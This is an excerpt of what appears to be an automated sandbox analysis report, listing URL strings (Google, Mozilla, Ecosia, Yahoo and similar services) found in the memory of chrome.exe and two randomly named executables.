Source: chrome.exe, 0000000C.00000002.2662220697.000039D402C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: 932a9eb371.exe, 00000008.00000002.2829037172.000000006C0ED000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 932a9eb371.exe, 00000008.00000002.2828489624.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 44e053de15.exe, 00000007.00000003.2469895891.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2606229215.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 44e053de15.exe, 00000007.00000003.2469895891.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2606229215.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 44e053de15.exe, 00000007.00000003.2435982859.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436296917.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436448385.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2644471328.00000000010EC000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2576139412.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2567168886.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566978340.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 0000000C.00000002.2654767168.000039D40228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 0000000C.00000002.2654767168.000039D40228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet9
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663548915.000039D402EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658783234.000039D40262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 0000000C.00000002.2663548915.000039D402EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2647939034.000039D40221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 0000000C.00000002.2658631043.000039D4025EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 0000000C.00000002.2655073674.000039D4022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 0000000C.00000002.2655073674.000039D4022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 0000000C.00000002.2655073674.000039D4022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 0000000C.00000002.2654767168.000039D40228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 0000000C.00000002.2654767168.000039D40228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB9
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 0000000C.00000002.2658631043.000039D4025EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 44e053de15.exe, 00000007.00000003.2471532115.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2824399610.0000000023673000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2824399610.0000000023673000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659072574.000039D4026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2670449534.000039D40321C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 0000000C.00000002.2663053741.000039D402E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: 44e053de15.exe, 00000007.00000003.2435982859.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436296917.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436448385.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2644471328.00000000010EC000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2576139412.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2567168886.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566978340.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: 44e053de15.exe, 00000007.00000003.2435982859.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436296917.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2436448385.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2644471328.00000000010EC000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2576139412.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2567168886.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566978340.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 0000000C.00000002.2658783234.000039D40262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 0000000C.00000003.2550134193.000039D402F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659731237.000039D40281C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 0000000C.00000002.2659840069.000039D402848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 0000000C.00000002.2662152308.000039D402C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661434911.000039D402A84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2669527714.000039D403100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2662220697.000039D402C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 0000000C.00000003.2541460073.000039D402F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2541229105.000039D402EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2543517380.000039D402EF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2550480854.000039D402EF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2541368790.000039D402EF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2555015251.000039D402EF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554904905.000039D402594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2543421051.000039D402594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2550134193.000039D402F24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 0000000C.00000003.2524578019.0000342400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579510709.000039D403B88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2583153459.000039D4036C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 0000000C.00000003.2554398614.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540218878.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2657230752.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2549335470.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542745139.000039D40254C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 0000000C.00000003.2554398614.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540218878.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2657230752.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2549335470.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542745139.000039D40254C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 0000000C.00000002.2655636982.000039D40237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 0000000C.00000003.2578963426.000039D402E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553319034.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2543040664.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2565952633.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2570021935.000039D402E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554148478.000039D402E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663509517.000039D402E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 0000000C.00000002.2663509517.000039D402E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/9
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g1
Source: chrome.exe, 0000000C.00000003.2512372453.00001E5C002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2512396726.00001E5C002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 0000000C.00000002.2659875089.000039D402858000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2647939034.000039D40221C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 0000000C.00000002.2661611454.000039D402AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 0000000C.00000002.2661611454.000039D402AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 0000000C.00000002.2661611454.000039D402AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b9
Source: chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 0000000C.00000002.2659731237.000039D40281C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: 44e053de15.exe, 00000007.00000003.2471532115.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2824399610.0000000023673000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2824399610.0000000023673000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 0000000C.00000002.2662376623.000039D402CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 0000000C.00000002.2658452970.000039D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
